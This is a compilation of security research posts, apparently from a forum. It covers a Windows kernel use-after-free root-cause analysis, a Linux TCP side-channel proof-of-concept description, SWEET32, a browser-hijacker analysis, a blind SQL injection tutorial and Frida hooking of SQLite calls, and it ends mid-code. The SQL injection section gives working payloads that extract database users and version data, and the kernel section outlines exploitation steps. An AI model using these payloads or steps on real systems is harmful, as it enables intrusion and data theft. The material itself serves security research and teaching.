GdiShareHandleTable (UM): 0x520000 ======== Requested GDI object with handle (1a210433) ======== GDI_TABLE_ENTRY: pKernelAddress: 0xfe8b5728 wProcessId: 0x988 wCount: 0x0 wUpper: 0x1a21 wType: 0x4401 (DC) kd> p win32k!DC::bMakeInfoDC+0xd9: 91440e48 8911 mov dword ptr [ecx],edx kd> p win32k!DC::bMakeInfoDC+0xdb: 91440e4a 8bca mov ecx,edx kd> !pool fe8bd170 Pool page fe8bd170 region is Paged session pool fe8bd000 is not a valid large pool allocation, checking large session pool... fe8bd158 size: 8 previous size: 0 (Allocated) Frag fe8bd160 size: 8 previous size: 8 (Free) Free *fe8bd168 size: 260 previous size: 8 (Allocated) *Gla5 Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys fe8bd3c8 size: 620 previous size: 260 (Allocated) Gh14 fe8bd9e8 size: 30 previous size: 620 (Free) Geto fe8bda18 size: 5e8 previous size: 30 (Free ) Ussc Process: 86527918 Listing 2: Determine the freed object type One of the important questions that needed to be answered when it came to our vulnerability analysis is how did the UAF occur in the first place? If we look at the POC, we can see thegdi32!NtGdiStartPage call is wrapped around by a try-catch block. As commented by the POC, a user-mode exception occurs when the function gdi32!NtGdiStartPage is called. The following diagram depicts its call sequences: Figure 1: Call-sequences lead to user-mode exception In a nutshell, when we looked at the code where the user-mode exception occurred, we were able to determine that the UAF happened due to an invalid GDI object handle being passed to gdi32!NtGdiStartPage. Our findings were confirmed when we discovered that the CVE-2015-6100 patch contains additional code validating the GDI object handle value on the affected GDI functions after diffing against win32k.sys binaries (See Figure 2). Based on the diffing result, we knew that some of the affected GDI functions that can lead to the same user-mode exception include: win32k!NtGdiStartPage win32k!NtGdiEndPage win32k!GreStartDocInternal win32k!bEndDocInternal Figure 2: Unpatched win32k.sys 6.1.7601.18985 (left) VS patched win32k.sys 6.1.7601.19054 (right) Figure 3: win32k!NtGdiStartPage epilog Our next question was “when did the surface object pointed at HDCOBJ+1F8” get freed? In the event of the crash being handled by POC, it would continue to execute and return to the caller of the user-mode callback function user32!__ClientPrinterThunk. As demonstrated by the code block in Figure 3, we can clearly show that if the user-mode callback function has failed to execute properly and returns NULL, it will proceed to the branch loc_BF99F796 in an attempt to disable and then free the surface object. It is important to note that by disabling the surface object, it synonymously decreases the reference count of the target object stored at GDIOBJ+0x4, as seen in this example: Listing 3: Demonstrate the reference count and exclusive lock of a GDI object Some GDI objects can only be freed when the object reference count and its exclusive lock become NULL. This is exactly the routine carried out by win32k!bEndDocInternal upon returning from win32k!UMPDDrvStartPage. The following pseudo-code briefly illustrates the operations of win32k!bEndDocInternal: Listing 4: Pseudocode to show the operations of win32k!bEndDocInternal In short, the code figure above instructs another user-mode callback function to disable the surface object through win32k!UMPDDrvDisableSurface, which eventually triggers the user-mode callback to free the target surface object, as can be seen in the following call-stack: a1377c50 915ed154 76050364 00000000 00000001 win32k!HmgRemoveObject+0x7c a1377cf4 915ed000 00000000 00000000 0014d048 win32k!SURFACE::bDeleteSurface+0x143 a1377d08 915d7446 00000000 0014d048 fb1d8da8 win32k!SURFREF::bDeleteSurface+0x14 a1377d1c 916e3c8b 76050364 a1377d34 82892a06 win32k!bDeleteSurface+0x20 a1377d28 82892a06 76050364 0014d058 777871b4 win32k!NtGdiEngDeleteSurface+0x19 a1377d28 777871b4 76050364 0014d058 777871b4 nt!KiSystemServicePostCall 0014d038 779872a1 6d7ac504 76050364 00000000 ntdll!KiFastSystemCallRet 0014d03c 6d7ac504 76050364 00000000 76050364 GDI32!NtGdiEngDeleteSurface+0xc 0014d058 779519a2 002f2508 00000000 0014d8f4 mxdwdrv!DrvDisableSurface+0x6c 0014d08c 75a714bc 0014d8f4 0014d0a4 00000000 GDI32!GdiPrinterThunk+0x252 0014d8dc 777870ee 0014d8f4 00000018 0014d934 USER32!__ClientPrinterThunk+0x28 0014d908 7778555c 777870b8 00000000 00000000 ntdll!KiUserCallbackDispatcher+0x2e Listing 5: Call-stack when the surface object is freed upon calling win32k!UMPDDrvDisableSurface In summary, we drew the following conclusion on how and when the UAF occurred: When an invalid GDI object handle passed to GDI printing functions, it could cause user-mode code exception If the exception was handled by the program, one could free and delete the surface object specified in the device context via win32k!bEndDocInternal Afterwards, any GDI printing function call that dereferences the freed surface object will also lead to a use-after-free vulnerability Abusing user-mode callback leads to arbitrary free of GDI object – CVE-2016-3310 After some reverse-engineering, we discovered that one can free a surface object under a device context (DC) by calling either one of the following win32k GDI functions: win32k!NtGdiAbortDoc win32k!NtGdiEndDoc win32k!NtGdiStartPage To recap, the surface object is freed under win32k!NtGdiStartPage upon failing to execute the user-mode callback routine because of the access violation triggered inuser32!__ClientPrinterThunk when an invalid printer DC was passed to the function. If the exception is caught by the program, then the UAFvulnerability can be triggered. In the response from MSRC, the affected GDI functions were patched in such a way that the input DC handle is now being validated, and only printer DC is allowed to execute the identified routines. This seemed to be an easy and straight forward fix to prevent the surface object from being freed on demand. However there is alternative way to free the surface object. It’s worth mentioning here that every surface object stores a reference count and exclusive lock in order to prevent the object from being freed a user mode API call, like thegdi32!DeleteObject function. However, one can first disable the surface object and then free the surface object using user-mode API gdi32!DeleteObject. While there didn’t seem to be any apparent way to disable the surface object, we discovered that we could take advantage of one of the GDI functions highlighted in Figure 4 that would eventually callwin32k!PDEVOBJ::vDisableSurface to disable the target surface object. Figure 4: Xrefs of win32k!bEndDocInternal Either win32k!NtGdiAbortDoc or win32k!NtGdiEndDoc appeared to be a good candidate for us. However, there are some requirements that need to be met in order to properly lead us to the code path that will execute the win32k!PDEVOBJ::vDisableSurface function: Printer DC is needed The surface object pointer at HDC+1F8 cannot be NULL; it will be scrutinized in win32k!XDCOBJ::bValidSurf The first requirement can be easily achieved by creating a printer DC using “winspool” as a driver name in the CreateDC function. After further reverse-engineering to better understand the highlighted function in Listing 1, we realized that it plays a crucial role that could greatly help us achieve our second objective. In general, the steps can be summarized as follows: Get a printer DC and then start the print job. Call win32k!NtGdiMakeInfoDC to store the surface object pointer at HDC+0x8C8 to HDC+0x1F8 Hook user32!__ClientPrinterThunk. The hook handler will be triggered when win32k!NtGdiEndDoc is executed, and it then executes the win32k!NtGdiMakeInfoDC function to restore the surface object pointer from HDC+0x1F8 to HDC+0x8C8. At the epilogue of win32k!bEndDocInternal, the surface object reference count will then be disabled by decreasing the reference count to 0. From our controlled program, we were now able to free the disabled surface object simply by calling the gdi32!DeleteObject API function. Here is the result: STACK_COMMAND: kb FOLLOWUP_IP: win32k!DC::bMakeInfoDC+f5 945d2889 394120 cmp dword ptr [ecx+20h],eax SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!DC::bMakeInfoDC+f5 FOLLOWUP_NAME: MachineOwner IMAGE_VERSION: 6.1.7601.23452 FAILURE_BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0xd5_vrf_win32k!dc::bmakeinfodc+f5 FAILURE_ID_HASH: {0a3b4edd-f3e1-fb09-5501-23e8947579df} Followup: MachineOwner --------- kd> lmvm win32k.sys start end module name kd> lmvm win32k. start end module name kd> lmvm win32k start end module name 94400000 9465d000 win32k (pdb symbols) e:\symbols\win32k.pdb\3B7E088E7D3E4382B161AA168A7C93872\win32k.pdb Loaded symbol image file: win32k.sys Image path: \SystemRoot\System32\win32k.sys Image name: win32k.sys Timestamp: Thu May 12 22:54:44 2016 (57349934) CheckSum: 002502B1 ImageSize: 0025D000 File version: 6.1.7601.23452 Product version: 6.1.7601.23452 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 3.7 Driver File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: win32k.sys OriginalFilename: win32k.sys ProductVersion: 6.1.7601.23452 FileVersion: 6.1.7601.23452 (win7sp1_ldr.160512-0600) FileDescription: Multi-User Win32 Driver LegalCopyright: © Microsoft Corporation. All rights reserved. In summary, the use-after-free (UAF) vulnerability in CVE-2016-3310 is somewhat related to the previously patched CVE-2015-6100 vulnerability, which is a low-hanging fruit opportunity that can be spotted by understanding the root cause of the original vulnerability through manual analysis, binary diffing, and code auditing. However, engineering bug-free software, especially for robust software, remains highly challenging, so we should not point the finger at any software vendors who puts software security as their first priority. At Fortinet, weactively participate in coordinated vulnerability disclosures with major software vendors to proactively protect end-users. Signing off -= FortiGuard Lion Team =- Sursa: https://blog.fortinet.com/2016/08/17/root-cause-analysis-of-windows-kernel-uaf-vulnerability-lead-to-cve-2016-3310

Keystroke Recognition Using WiFi Signals Kamran Ali† Alex X. Liu†‡ Wei Wang‡ Muhammad Shahzad† ABSTRACT Keystroke privacy is critical for ensuring the security of computer systems and the privacy of human users as what being typed could be passwords or privacy sensitive information. In this paper, we show for the first time that WiFi signals can also be exploited to recognize keystrokes. The intuition is that while typing a certain key, the hands and fingers of a user move in a unique formation and direction and thus generate a unique pattern in the time-series of Channel State Information (CSI) values, which we call CSI-waveform for that key. In this paper, we propose a WiFi signal based keystroke recognition system called WiKey. WiKey consists of two Commercial Off-The-Shelf (COTS) WiFi devices, a sender (such as a router) and a receiver (such as a laptop). The sender continuously emits signals and the receiver continuously receives signals. When a human subject types on a keyboard, WiKey recognizes the typed keys based on how the CSI values at the WiFi signal receiver end. We implemented the WiKey system using a TP-Link TL-WR1043ND WiFi router and a Lenovo X200 laptop. WiKey achieves more than 97.5% detection rate for detecting the keystroke and 96.4% recognition accuracy for classifying single keys. In real-world experiments, WiKey can recognize keystrokes in a continuously typed sentence with an accuracy of 93.5%. Download: https://www.sigmobile.org/mobicom/2015/papers/p90-aliA.pdf

Hacking Soft Tokens Advanced Reverse Engineering on Android Bernhard Mueller © 2016 Vantage Point Security Pte. Ltd. Table of Contents Introduction............................................................................................................................................................... 5 Mobile One-Time Password Token Overview.................................................................................................... 6 OATH TOTP..................................................................................................................................................................................6 Proprietary Algorithms...................................................................................................................................................................7 Provisioning......................................................................................................................................................................................7 Attacks...............................................................................................................................................................................................8 Retrieval from Memory..............................................................................................................................................................9 Code Lifting and Instrumentation ...........................................................................................................................................9 The Android Reverser’s Toolbox......................................................................................................................... 10 De-Compilers, Disassemblers and Debuggers.....................................................................................................................10 Tracing Java Code.....................................................................................................................................................................11 Tracing Native Code ................................................................................................................................................................15 Tracing System Calls.................................................................................................................................................................17 Classic Linux Rootkit Style......................................................................................................................................................19 Dynamic Analysis Frameworks..............................................................................................................................................19 Drawbacks Emulation-based Analysis ..................................................................................................................................21 Hacking Soft Tokens - Bernhard Mueller © 2016 Vantage Point Security Pte. 4 of 68 Runtime Instrumentation with Frida .....................................................................................................................................22 Building A Sandbox................................................................................................................................................ 23 Sandbox Overview....................................................................................................................................................................24 Customizing the Kernel...........................................................................................................................................................25 Customizing the RAMDisk.....................................................................................................................................................26 Booting the Environment .......................................................................................................................................................28 Customizing ART.....................................................................................................................................................................29 Hooking System Calls ..............................................................................................................................................................31 Automating System Call Hooking with Zork.......................................................................................................................35 Case Studies ............................................................................................................................................................. 36 RSA SecurID: ProGuard and a Proprietary Algorithm...........................................................................................................37 Analyzing ProGuard-processed Bytecode ............................................................................................................................37 Data Storage and Runtime Encryption .................................................................................................................................39 Tool Time: RSACloneId..........................................................................................................................................................41 Vendor Response......................................................................................................................................................................44 Summary.....................................................................................................................................................................................45 Vasco DIGIPASS: Advanced Anti-Tampering........................................................................................................................47 Initial Analysis ...........................................................................................................................................................................47 Root Detection and Integrity Checks....................................................................................................................................51 Native Debugging Defenses ...................................................................................................................................................54 JDWP Debugging Defenses....................................................................................................................................................56 Static-dynamic Analysis............................................................................................................................................................58 Attack Outline ...........................................................................................................................................................................59 Tool Time: VasClone....................................................................................................................................................................60 Vendor Comments........................................................................................................................................................................64 Summary.....................................................................................................................................................................................65 TL; DR...................................................................................................................................................................... 66 Attack Mitigation...........................................................................................................................................................................66 Software Protection Effectiveness..............................................................................................................................................66 REFERENCES....................................................................................................................................................... 67 Download: http://gsec.hitb.org/materials/sg2016/whitepapers/Hacking Soft Tokens - Bernhard Mueller.pdf

File-in-the-middle hijackers Posted August 23, 2016 by Pieter Arntz We are not sure if this is going to be a new trend among browser hijackers, but it seems more than a coincidence that we found two browser hijackers using a very similar approach to reach their goal of taking victims to the sites of their choice. Both are using one of their own files to act as a file-in-the-middle between the user and the browser. Let’s compare them. Dotdo Audio Dotdo is a strain of hijackers that we have discussed before for using different and more “out of bounds” methods to get the job done. I named this variant “audio” because it uses audio advertisements. But that is not our focus here. It’s the replacement of browser executables with their own that raised our interest. The installer renames the files firefox.exe and chrome.exe, if present, and adds a number to the filename. It then hides these renamed files and replaces them with its own files. The screenshot above shows you the hidden and renamed Chrome file, in the same folder as the replacement. I changed the settings for hidden files so that we can see them. In a similar screenshot below we can see that the same was done for Firefox. Note that all the changes are misdated, they were all made 8/10/2016. For the hijacker using the method of replacing files this has the advantage that they don’t have to follow the more common method of altering shortcuts. All the shortcuts the user has on his desktop, startmenu, taskbar, and anywhere else, can stay the same as the folder and filename they are pointing to are still valid and now under control of the hijacker. Then, when the false browser is started the hijacker will trigger the renamed chrome.exe and add some extra instructions. As a result the victim will be able to surf as he expected and probably ask himself where the audio advertisements are coming from. HPRewriter2 This one was named after the entry it makes in the list of installed Programs and Features. The browsers are hijacked to open with traffic-media[dot]co by altering the browser shortcuts for: Chrome Firefox Internet Explorer Opera Yandex The target of the shortcuts is altered to C:\Users\{username}\AppData\Roaming\HPRewriter2\RewRun3.exe {version number} as shown in the example below. Triggering Rewrun3.exe without a version number accomplishes nothing (it will not run), but with the version number forwarded by the shortcuts, Rewrun3 opens the targeted browser with the traffic-media[dot]co site or one of their redirects. Summary We discussed two hijackers from very different families and using different methods, but they also had a few things in common. They want the victims to hear/see their advertisements and they used a file-in-the-middle between the browser shortcuts and the actual browser in order to alter the browsers behavior to meet their goals. Additional information File properties: Dotdo hijack installer SHA1: 0d16eae1f5748410fa047daa533d0ebbd994ea1c Firefox.exe (fake) SHA1: 53a77f64595b1fb65a88247a324458f569e3d12a Chrome.exe (fake) SHA1: 501c9a6b224f58773b603675a71624d7e7353d1f HPRewriter2 installer SHA1: f96399f3b91218f30a9e58fce8009eaab5521398 Rewrun3.exe SHA1: 117db3909a2507e162a6361be1f4e5950f017e7d Removal guides: Dotdo Audio HPRewriter2 Protection and detection Because of the intrusive changes the Dotdo installer makes it was classified as a Trojan. The resulting changes to the system are detected and removed as PUP.Optional.DotDo and PUP.Optional.MultiPlug. Likewise some of the main files involved in the HPRewriter2 hijack are detected as Trojans. The resulting changes to the system are detected and removed as PUP.Optional.HPDefender. As a result of the Trojan detections Malwarebytes Anti-Malware Premium users are protected against these threats even if they don’t have the Non-Malware Protection enabled. Save yourself the hassle and get protected too. Pieter Arntz Sursa: https://blog.malwarebytes.com/cybercrime/2016/08/file-in-the-middle-hijackers/

SWEET32: Birthday attacks on 64-bit block ciphers in TLS and OpenVPN CVE-2016-2183, CVE-2016-6329 Cryptographic protocols like TLS, SSH, IPsec, and OpenVPN commonly use block cipher algorithms, such as AES, Triple-DES, and Blowfish, to encrypt data between clients and servers. To use such algorithms, the data is broken into fixed-length chunks, called blocks, and each block is encrypted separately according to a mode of operation. Older block ciphers, such as Triple-DES and Blowfish use a block size of 64 bits, whereas AES uses a block size of 128 bits. It is well-known in the cryptographic community that a short block size makes a block cipher vulnerable to birthday attacks, even if the are no cryptographic attacks against the block cipher itself. We observe that such attacks have now become practical for the common usage of 64-bit block ciphers in popular protocols like TLS and OpenVPN. Still, such ciphers are widely enabled on the Internet. Blowfish is currently the default cipher in OpenVPN, and Triple-DES is supported by nearly all HTTPS web servers, and currently used for roughly 1-2% of HTTPS connections between mainstream browsers and web servers. We show that a network attacker who can monitor a long-lived Triple-DES HTTPS connection between a web browser and a website can recover secure HTTP cookies by capturing around 785 GB of traffic. In our proof-of-concept demo, this attack currently takes less than two days, using malicious Javascript to generate traffic. Keeping a web connection alive for two days may not seem very practical, but it worked easily in the lab. In terms of computational complexity, this attack is comparable to the recent attacks on RC4. We also demonstrate a similar attack on VPNs that use 64-bit ciphers, such as OpenVPN, where long-lived Blowfish connections are the norm. Countermeasures are currently being implemented by browser vendors, OpenSSL, and the OpenVPN team, and we advise users to update to the latest available versions. Our results will appear in the following technical paper at ACM CCS 2016: On the Practical (In-)Security of 64-bit Block Ciphers — Collision Attacks on HTTP over TLS and OpenVPN Karthikeyan Bhargavan, Gaëtan Leurent Link: https://sweet32.info/

Da, o sa le pun patrate la loc, thanks. Unde au disparut? Daca a aparut imaginea default in loc de avatar, inteleg, nu am ce face, trebuie puse din nou.

Revenind, ce problema mai sunt legate de tema? Exista probleme de functionalitate?

rover Proof of Concept code for CVE-2016-5696 Rover is a small python program to discover abitrary client source ports as shown in CVE-2016-569. Once the source port is known, the 4 tuple of information needed to confirm that two host are communicating can be completed. When run, rover establishes a connection with the target server, syncs its internal clock to the server challenge ack time, then begins to search through the default ephemeral port range of most linux hosts (this can be changed if required). For more information, find the original paper here This has been tested to run on kali 1.0 against an Ubuntu 14.04 SSH server. It should work against others, however some modification to the code may/will be needed. Requirements are: Python2.7 Scapy 2.3.2 Usage is as follows: rover.py [-h] -c 192.168.1.1 -s 192.168.1.10 -p 22 [-v v, vv] CVE2016-5969 Demonstrator. optional arguments: -h, --help show this help message and exit -c 192.168.1.1 The target client IP. -s 192.168.1.10 The target server IP. -p 22 The target server port. -v v, vv The verbosity level Rover will complete in approx 1-2 minutes, depending on the quality of sync. Some important notes. Rover is bandwith dependant. It currently sends out 700 packets a second. If it fails to do so in the required time, the program will fail. I have included the line: os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP') because the kernel will reset a scapy connection by default. This must be in IPTABLES for the program to work. If you use vmware, keep in mind that workstation and player limit bandwith. This may cause issues. If so, use a physical host for the attack machine. Link: https://github.com/violentshell/rover

Exploiting blind SQL injections in ‘UPDATE’ and ‘INSERT’ statements without stacked queries by Sina Yazdanmehr Overview The SQL injection attack was introduced around 1998 for the first time. This high-level risk vulnerability can be found in any database oriented application, and is able to cause critical attacks by attackers, such as retrieving or storing arbitrary data in the database or, in some cases, even enabling remote code execution. It has some rewound types, like in-band, inferential and out-of-band SQL injection1, and each of these types has subcategories. The In-band (also known as Classic SQL injection) is the most common and the easiest for exploitation. In this type of SQL injection, the attacker is able to see the injected payload, or a database error message. The Union-based and Error-based SQL injection attacks are sub categories of this kind. The inferential (also known as Blind SQL injection) stands for another sort of this attack, when the attacker is unable to see the result of a payload or a database error message. In this case, the attacker must use conditional statements and extract data from the target database by deducing the result of injected condition. This sort has two subsets, Boolean-based and Time-based attacks. The last type is Out-of-band SQL injection, which is not very common. It depends on the target database features, such as making DNS or HTTP requests. By abusing those abilities, the attacker can extract data and send it back as part of an HTTP or DNS request to his server. This allows him to read the data that otherwise he cannot see since he is completely unable to see any results of his queries directly. Since inefficient user input validation causes this fault, it might happen in each type of database statements. However, the most common SQL statement in which this vulnerability usually happens is the ‘SELECT’ expression. Lots of ways for exploiting, as well as mitigating, this type can be found on the Internet for any kind of database, like MySQL, MSSQL, Oracle and even MS Access. Due to the variety of database types, WAFs and the fact that each programmer or developer team can have a new and innovative way for passing the user input to the database, as well as protecting against SQL injection, exploiting this flaw can be different in each case, based on the potential security systems, database type, and the vulnerable SQL statement. In this article, I am going to approach exploiting SQL injection flaws in ‘UPDATE’ and ‘INSERT’ expressions with a novel approach when you are unable to use stacked queries and when the result of executing the statements is practically invisible, making such attacks completely blind. Of course, this method might be useful to bypass security filtrations and WAFs in any sort of this vulnerability. Stacked queries limitation Each programming language has a DBMS connector in order to communicate with a specific database. According to the database type and the programming language, they have some limitations: one that can impact SQL injection attacks is stacked queries limitation. The term ‘Stacked Queries’ simply means when two or more queries are queued to be executed by a database one after another in the same session. The following MySQL queries demonstrate a simple stacked query: SELECT ID, name, lastname FROM users; UPDATE session SET lastseen = NOW(); (Code snippet 1) As can be seen, ‘SELECT’ and ‘UPDATE’ queries have been queued. The ‘SELECT’ statement will be executed first and after that, the database engine would interpret and execute the ‘UPDATE’ query. MySQL has more limitations in case of stacked queries. The table below is a brief comparison of these restrictions for MySQL, MSSQL and PostgreSQL with three different programming languages: (Table 1) In SQL injection attacks, stacked queries are typically used in order to update data in the database in case there is a SQL injection defect in a ‘SELECT’ statement. This is important since the ‘SELECT’ statement cannot have an ‘INSERT’ or ‘UPDATE’ statement as a sub-select query, so in this case it must be done through stacked SQL queries. On the other hand, if there is a SQL injection in ‘INSERT’ or ‘UPDATE’, an attacker would need to take advantage of stacked queries in order to fetch data.(Table 1) If the attacker finds an Injection vulnerability in an ‘INSERT’ or ‘UPDATE’ statement where the stack queries are unsupported (like PHP coupled with MySQL), he would need to find a manner to be able to fetch data from the target database. Two conditions have impact on this exploitation, these are: If the application throws the database’s error messages or not. If the result of a vulnerable statement is visible or not. If the application shows the error messages or the query’s result, the exploitation would be easier because some MySQL functions return the result of subqueries in their error messages, so by abusing those functions, the attacker can execute a subquery and see its result through error messages. Suppose the vulnerable expression is the following code: INSERT INTO user_agent values(NULL, ‘{$_SERVER[‘HTTP_USER_AGENT‘]}’); (Code snippet 2) If the vulnerable application shows database error messages, the attacker could use the ‘UpdateXML()’, ‘Extractvalue()’ or ‘Name_const()’ functions. For example, by using the ‘UpdateXML()’ function like below: INSERT INTO user_agent values(NULL, ‘1’ and updatexml(1, concat(0x7e, (user())), 0) and ‘1’); (Code snippet 3) Since the concat(0x7e, (user())) does not return a valid Xpath, the ‘UpdateXML()’ function will throw the following error message: #1105 – XPATH syntax error: ‘~root@localhost’ In further steps, he can simply substitute arbitrary queries with ‘User()’ function in this statement and extract other data from the target database. In addition to these functions, an attacker might abuse ‘BIGINT’ overflow defect in MySQL. The attacker would use a subquery like this: INSERT INTO user_agent values(NULL, ‘1’ and (select ~0+!(select*from(select user from mysql.user limit 1)x)) and ‘1’); (Code snippet 4) Then he will receive the following error message: #1690 – BIGINT UNSIGNED value is out of range in ‘(~(0) + (not((select ‘root‘ from dual))))’ (Code snippet 5) As can be seen, the database engine reveals the subquery’s result in the error message. These two exploitation solutions, as well as others, work when the vulnerable application throws the database error messages. They would not be useful in a case where the application has appropriate error handling. If the application has suitable error handling, the result of the query might be shown to the user, or maybe the user does not see any result of executed queries. In the remainder of my paper, I will focus on exploiting blind and result based SQL injection in the ‘INSERT’ and ‘UPDATE’ statements. Exploiting result based injections Since some databases, such as MySQL, do not join strings with plus sign ‘+’, it is impossible to join a subquery result in a vulnerable ‘UPDATE’ or ‘INSERT’ statement. Other payloads with ‘AND’ or ‘OR’ conditional expression (as shown in the previous part) can be coupled with time-based conditions so that an attacker will be able to deduce the result of the injected payload by measuring the response time. In this case, an attacker must first escape quotation mark to be able to inject arbitrary statements, after that he will need to join the injected query with previous and next strings in quotation marks. For instance, the vulnerable SQL statement that was mentioned earlier (Code snippet 2) could be exploited by injecting a malicious payload in user-agent HTTP header, and the attacker simply can escape quotation marks with injecting this mark before and after his payload. For joining these parts, the attacker can use a conditional expression as mentioned before, or take advantage of mathematical operators, but, for this purpose, he first needs to convert the result of the subquery to its integer equivalent. The best way to perform this would be to convert the target data to hexadecimal (base 16) first, and then taking the hex value to its decimal value (base 10), so that the attacker will have target data in decimal value. This approach is the best since all databases support these types and have casting and converting data types functions, thus the attacker could calculate the hex and decimal values of target data easily. Although this manner is the easiest way, databases are limited in data size and this can cause problems with storing long converted strings as integers. For instance, MySQL maximum BIGINT size is ‘18446744073709551615’, so due to the fact that the length of the target data is indeterminate for the attacker, he needs to chop the data by string functions such as ‘SUBSTRING()’. It is impossible to fetch a whole subquery result in one request because the database engine cannot store whole integer equivalent of result at the same time. The attacker might chop result of injected query and extract it part by part. For example, an attacker might use the following payload for the previous sample vulnerable code: 1′ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1 (Code snippet 6) The complete query which will be executed by database will be: INSERT INTO user_agent values(NULL, ‘1’ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1’); (Code snippet 7) Since the number 1 is ineffective in multiplication, the result of subquery (first database username) as numbers in base 10 will be stored instead of user-agent. The result of this payload is ‘1919905652’ that can be converted to the original result of doing this conversion vice versa. It must first be taken to base 16 and then converted to a string, it can easily be done by the following expression: SELECT unhex(conv(1919905652, 10, 16)); (Code snippet 8) And it equals to ‘root’. This manner can be extended to extract other data from a database by changing the subquery inside of ‘SUBSTRING()’ function. Exploiting blind injections In the last scenarios, the attacker was able to see the payload result, or the database error messages. However, it is possible to exploit this vulnerability when the application does not show anything about result or errors of a query. An attacker is able to overcome this issue by utilizing flow control statements coupled with delay functions in order to infer the validity of a conditional statement result and extract arbitrary data. Databases support various sorts of flow controls, one of them is ‘CASE … WHEN’, which is used for complex condition expressions. The value of the ‘CASE’ statement is compared with ‘WHEN’ statements and the body of first ‘WHEN’ expression is executed which matches with the value. Also, it accepts ‘ELSE’ expression that is executed when none of ‘WHEN’ statements match with the condition value. An attacker might use this statement with a delay function like ‘SLEEP()’ or ‘BENCHMARK()’ to extract data blindly. Basically, when the attacker uses flow control statements coupled with delay functions, he determines a condition for the database engine and makes it wait for a certain amount of time when the condition is valid. Otherwise, the database engine responds to the request without postponement. Therefore, the attacker can measure the response time for each request and infer the validity of the condition. The subsequent payload demonstrates how an attacker could exploit a blind injection: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 9) And the final query that will be executed by the database engine will be: INSERT INTO user_agent values(NULL, ‘1’ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1’); (Code snippet 10) This payload result depends on the ‘CASE’ statement validity. Since the attacker has integrated ‘SLEEP()’ function with ‘CASE’ statement, the server response will take more than 10 seconds in case the conditional statement is true, otherwise the attacker receives the response faster (instantaneously). If the server responds to this request in less than 10 seconds, the attacker deduces that this condition is false, so he may try another condition like the following expression: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 5 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 11) In this payload, the attacker has substituted the number ‘5’ with the number ‘4’ in the ‘WHEN’ condition. It means the server will respond to this request after 10 seconds in case the target database version string starts with number ‘5’. The attacker may also try to extract some other information, such as the database username or current database name, in the first step to verify basic assumptions and make sure injected payloads are executed by the target database. After that, he could replace the ‘VERSION()’ function with more complex queries in order to extract arbitrary data from the database. Acknowledgments I sincerely thank Mr. Bojan Zdrnja whose expertise, experience, generous support and guidance made it possible for me to prepare this article. It is my pleasure to work with him. References: Acunetix, Types of SQL injection Damele, Advanced SQL injection to operating system full control Jayathissa, SQL Injection in Insert, Update and Delete Statements. Jayathissa, BIGINT Overflow Error Based SQL Injection. Advanced SQL injection to operating system full control https://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf SQL Injection in Insert, Update and Delete Statements https://www.exploit-db.com/docs/33253.pdf BIGINT Overflow Error Based SQL Injection https://www.exploit-db.com/docs/37733.pdf Time-Based Blind SQL Injection Attacks http://www.sqlinjection.net/time-based/ Stacked Queries http://www.sqlinjection.net/stacked-queries/ MySQL Flow Control Statements https://dev.mysql.com/doc/refman/5.7/en/flow-control-statements.html MySQL Integer Types http://dev.mysql.com/doc/refman/5.7/en/integer-types.html Types of SQL injection http://www.acunetix.com/websitesecurity/sql-injection2/ Author: Sina Yazdanmehr He is a penetration tester and information security consultant. His expertise is web and mobile applications security. He currently works for Infigo IS, and has worked for other security firms and CERT since 2009. Sursa: https://pentestmag.com/exploiting-blind-sql-injections-update-insert-statements-without-stacked-queries-sina-yazdanmehr/

Fun with Frida August 22, 2016 During a previous engagement Securus Global was asked to review a desktop application that used a local SQLite3 database to store a list of blacklisted URLs. As expected the database file was encrypted and not much that could be done with the database. If the consultant tried to open the database using any SQLite3 client an error message would pop up in our face. At Securus Global we have extensive experience with Frida, a framework that allows you to inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android (more on Frida here http://frida.re). It is used heavily in our Mobile App Penetration Tests so the team decided to take a further look at the application and managed to trace the “requests” to libsqlite3.dylib. Keep in mind that the same approach will work for libsqlite3.so. Also note that this has not been tested in a Windows environment. Our goal at the time was to discover the SQL queries performed by the application and try to acquire some useful information, we started to look into two specific functions in libsqlite3.dylib: open – https://www.sqlite.org/c3ref/open.html prepare – https://www.sqlite.org/c3ref/prepare.html The open function is defined as: To know the database filename the consultant had to hook the function open and read the first argument from memory, args[0]. Thankfully, Frida provides an excellent wrapper to read from memory with Memory.readUtf8String. For more detailed information please refer to this link:http://www.frida.re/docs/javascript-api/#memory. Below is a sample code snippet to read the first argument from open’s function. Based on the sqlite3_open definition we know that the first argument is a pointer to filename, so if we read that argument we’ll figure out the database filename. #open.js 'use strict'; //libsqlite3.dylib var sqlite3_open = Module.findExportByName('libsqlite3.dylib ', 'sqlite3_open'); Interceptor.attach(sqlite3_open, { onEnter: function(args) { console.log('Database filename: ' + Memory.readUtf8String(args[0])); } }); The team found the file, but as mentioned before, unfortunately the file was encrypted. The team decided to change the approach and find the SQL statements before they were saved in the encrypted file. The prepare function is defined as: In order to not be “jailed” by the file encryption, we need to follow the same steps as previously applied in the open function, but now we have to read an argument in a different function, sqlite3_prepare_v2, and check above the sqlite3_prepare_v2 structure. Sample code to read the second argument from sqlite3_prepare_v2 function. #prepare.js 'use strict'; // libsqlite3.dylib var sqlite3_prepare_v2 = Module.findExportByName('libsqlite3.dylib', 